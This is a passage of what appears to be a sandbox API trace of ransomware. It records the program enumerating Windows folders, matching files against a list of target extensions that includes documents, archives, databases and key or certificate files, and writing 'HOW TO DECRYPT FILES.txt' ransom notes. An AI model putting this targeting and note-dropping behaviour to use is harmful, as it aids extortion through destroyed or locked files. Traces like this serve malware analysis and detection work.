PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.dat") returned 0 [0118.925] lstrlenA (lpString="*.dat") returned 5 [0118.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.txt") returned 0 [0118.925] lstrlenA (lpString="*.txt") returned 5 [0118.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.jpeg") returned 0 [0118.925] lstrlenA (lpString="*.jpeg") returned 6 [0118.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.jpg") returned 0 [0118.925] lstrlenA (lpString="*.jpg") returned 5 [0118.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.png") returned 0 [0118.925] lstrlenA (lpString="*.png") returned 5 [0118.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.php") returned 0 [0118.925] lstrlenA (lpString="*.php") returned 5 [0118.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.cs") returned 0 [0118.925] lstrlenA (lpString="*.cs") returned 4 [0118.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.cpp") returned 0 [0118.925] lstrlenA (lpString="*.cpp") returned 5 [0118.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.rar") returned 0 [0118.925] lstrlenA (lpString="*.rar") returned 5 [0118.926] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.zip") returned 0 [0118.926] lstrlenA (lpString="*.zip") returned 5 [0118.926] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.html") returned 0 [0118.926] lstrlenA (lpString="*.html") returned 6 [0118.926] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.htm") returned 0 [0118.926] lstrlenA (lpString="*.htm") returned 5 [0118.926] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.xlsx") returned 0 [0118.926] lstrlenA (lpString="*.xlsx") returned 6 [0118.926] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.xls") returned 0 [0118.926] lstrlenA (lpString="*.xls") returned 5 [0118.926] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.mp4") returned 0 [0118.926] lstrlenA (lpString="*.mp4") returned 5 [0118.926] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.ppt") returned 0 [0118.926] lstrlenA (lpString="*.ppt") returned 5 [0118.926] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.pptx") returned 0 [0118.926] lstrlenA (lpString="*.pptx") returned 6 [0118.927] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.doc") returned 0 [0118.927] lstrlenA (lpString="*.doc") returned 5 [0118.927] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.dot") returned 0 [0118.927] lstrlenA (lpString="*.dot") returned 5 [0118.927] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.docx") returned 0 [0118.927] lstrlenA (lpString="*.docx") returned 6 [0118.927] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.7z") returned 0 [0118.927] lstrlenA (lpString="*.7z") returned 4 [0118.927] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.tar") returned 0 [0118.927] lstrlenA (lpString="*.tar") returned 5 [0118.927] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.bz2") returned 0 [0118.927] lstrlenA (lpString="*.bz2") returned 5 [0118.927] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.gz") returned 0 [0118.927] lstrlenA (lpString="*.gz") returned 4 [0118.927] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.mkv") returned 0 [0118.927] lstrlenA (lpString="*.mkv") returned 5 [0118.927] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.eml") returned 0 [0118.927] lstrlenA (lpString="*.eml") returned 5 [0118.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.msg") returned 0 [0118.928] lstrlenA (lpString="*.msg") returned 5 [0118.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.edb") returned 0 [0118.928] lstrlenA (lpString="*.edb") returned 5 [0118.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.accdb") returned 0 [0118.928] lstrlenA (lpString="*.accdb") returned 7 [0118.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.odb") returned 0 [0118.928] lstrlenA (lpString="*.odb") returned 5 [0118.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.java") returned 0 [0118.928] lstrlenA (lpString="*.java") returned 6 [0118.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.asm") returned 0 [0118.928] lstrlenA (lpString="*.asm") returned 5 [0118.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.pfx") returned 0 [0118.928] lstrlenA (lpString="*.pfx") returned 5 [0118.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.pem") returned 0 [0118.928] lstrlenA (lpString="*.pem") returned 5 [0118.928] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.p12") returned 0 [0118.929] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.gpg") returned 0 [0118.929] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll", pszSpec="*.vsd") returned 0 [0118.931] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa74f9f90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa74f9f90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa74f9f90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Device.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0118.931] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0118.931] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Device.ni.dll.aux") returned -1 [0118.931] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Device.ni.dll.aux") returned -1 [0118.931] lstrcmpiA (lpString1="", lpString2="System.Device.ni.dll.aux") returned -1 [0118.931] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll") returned="System.Device.ni.dll" [0118.931] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\" [0118.931] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\") returned="" [0118.931] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\HOW TO DECRYPT FILES.txt" [0118.931] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.device\\bedaa2bc115a73f16ec9853ff479acc7\\how to decrypt files.txt")) returned 0x20 [0118.932] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\", lpString2="System.Device.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\System.Device.ni.dll.aux" [0118.932] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa74f9f90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa74f9f90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa74f9f90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Device.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0118.932] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0118.932] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa74f9f90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa74f9f90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa74f9f90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bedaa2bc115a73f16ec9853ff479acc7", cAlternateFileName="BEDAA2~1")) returned 0 [0118.932] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0118.933] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7b137f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa7b137f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa7b137f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Dire573b08f5#", cAlternateFileName="SYSTEM~3.DIR")) returned 1 [0118.933] lstrcmpA (lpString1=".", lpString2="System.Dire573b08f5#") returned -1 [0118.933] lstrcmpA (lpString1="..", lpString2="System.Dire573b08f5#") returned -1 [0118.933] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0118.933] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Dire573b08f5#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire573b08f5#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire573b08f5#" [0118.933] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire573b08f5#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7b137f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa7b137f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa7b137f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0118.941] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0118.941] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7b137f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa7b137f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa7b137f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.941] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0118.941] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0118.941] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7b137f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa7b137f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa7b137f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="c051c5430cbd1580ec57d42e22abfa13", cAlternateFileName="C051C5~1")) returned 1 [0118.941] lstrcmpA (lpString1=".", lpString2="c051c5430cbd1580ec57d42e22abfa13") returned -1 [0118.941] lstrcmpA (lpString1="..", lpString2="c051c5430cbd1580ec57d42e22abfa13") returned -1 [0118.942] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire573b08f5#\\*.*") returned="*.*" [0118.942] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire573b08f5#\\", lpString2="c051c5430cbd1580ec57d42e22abfa13" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire573b08f5#\\c051c5430cbd1580ec57d42e22abfa13") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire573b08f5#\\c051c5430cbd1580ec57d42e22abfa13" [0118.942] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire573b08f5#\\c051c5430cbd1580ec57d42e22abfa13\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7b137f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa7b137f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa7b137f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0118.946] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0118.946] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7b137f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa7b137f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa7b137f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.946] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0118.946] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0118.946] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7aed690, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa7aed690, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa7b137f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x114e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.DirectoryServices.AccountManagement.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0118.946] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0118.946] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.DirectoryServices.AccountManagement.ni.dll") returned -1 [0118.946] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.DirectoryServices.AccountManagement.ni.dll") returned -1 [0118.946] lstrcmpiA (lpString1="", lpString2="System.DirectoryServices.AccountManagement.ni.dll") returned -1 [0118.946] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire573b08f5#\\c051c5430cbd1580ec57d42e22abfa13\\*.*") returned="*.*" [0118.946] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire573b08f5#\\c051c5430cbd1580ec57d42e22abfa13\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire573b08f5#\\c051c5430cbd1580ec57d42e22abfa13\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire573b08f5#\\c051c5430cbd1580ec57d42e22abfa13\\" [0118.946] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire573b08f5#\\c051c5430cbd1580ec57d42e22abfa13\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire573b08f5#\\c051c5430cbd1580ec57d42e22abfa13\\") returned="" [0118.946] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire573b08f5#\\c051c5430cbd1580ec57d42e22abfa13\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire573b08f5#\\c051c5430cbd1580ec57d42e22abfa13\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire573b08f5#\\c051c5430cbd1580ec57d42e22abfa13\\HOW TO DECRYPT FILES.txt" [0118.946] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire573b08f5#\\c051c5430cbd1580ec57d42e22abfa13\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.dire573b08f5#\\c051c5430cbd1580ec57d42e22abfa13\\how to decrypt files.txt")) returned 0xffffffff [0118.947] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire573b08f5#\\c051c5430cbd1580ec57d42e22abfa13\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.dire573b08f5#\\c051c5430cbd1580ec57d42e22abfa13\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0118.951] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0118.952] CloseHandle (hObject=0x90) returned 1 [0118.952] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire573b08f5#\\c051c5430cbd1580ec57d42e22abfa13\\", lpString2="System.DirectoryServices.AccountManagement.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire573b08f5#\\c051c5430cbd1580ec57d42e22abfa13\\System.DirectoryServices.AccountManagement.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire573b08f5#\\c051c5430cbd1580ec57d42e22abfa13\\System.DirectoryServices.AccountManagement.ni.dll" [0118.953] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7b137f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa7b137f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa7b137f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x468, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.DirectoryServices.AccountManagement.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0118.953] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0118.953] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.DirectoryServices.AccountManagement.ni.dll.aux") returned -1 [0118.953] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.DirectoryServices.AccountManagement.ni.dll.aux") returned -1 [0118.953] lstrcmpiA (lpString1="", lpString2="System.DirectoryServices.AccountManagement.ni.dll.aux") returned -1 [0118.953] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire573b08f5#\\c051c5430cbd1580ec57d42e22abfa13\\System.DirectoryServices.AccountManagement.ni.dll") returned="System.DirectoryServices.AccountManagement.ni.dll" [0118.953] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire573b08f5#\\c051c5430cbd1580ec57d42e22abfa13\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire573b08f5#\\c051c5430cbd1580ec57d42e22abfa13\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire573b08f5#\\c051c5430cbd1580ec57d42e22abfa13\\" [0118.953] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire573b08f5#\\c051c5430cbd1580ec57d42e22abfa13\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire573b08f5#\\c051c5430cbd1580ec57d42e22abfa13\\") returned="" [0118.953] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire573b08f5#\\c051c5430cbd1580ec57d42e22abfa13\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire573b08f5#\\c051c5430cbd1580ec57d42e22abfa13\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire573b08f5#\\c051c5430cbd1580ec57d42e22abfa13\\HOW TO DECRYPT FILES.txt" [0118.953] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire573b08f5#\\c051c5430cbd1580ec57d42e22abfa13\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.dire573b08f5#\\c051c5430cbd1580ec57d42e22abfa13\\how to decrypt files.txt")) returned 0x20 [0118.953] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire573b08f5#\\c051c5430cbd1580ec57d42e22abfa13\\", lpString2="System.DirectoryServices.AccountManagement.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire573b08f5#\\c051c5430cbd1580ec57d42e22abfa13\\System.DirectoryServices.AccountManagement.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire573b08f5#\\c051c5430cbd1580ec57d42e22abfa13\\System.DirectoryServices.AccountManagement.ni.dll.aux" [0118.954] FindNextFileA (in: hFindFile=0x502618, 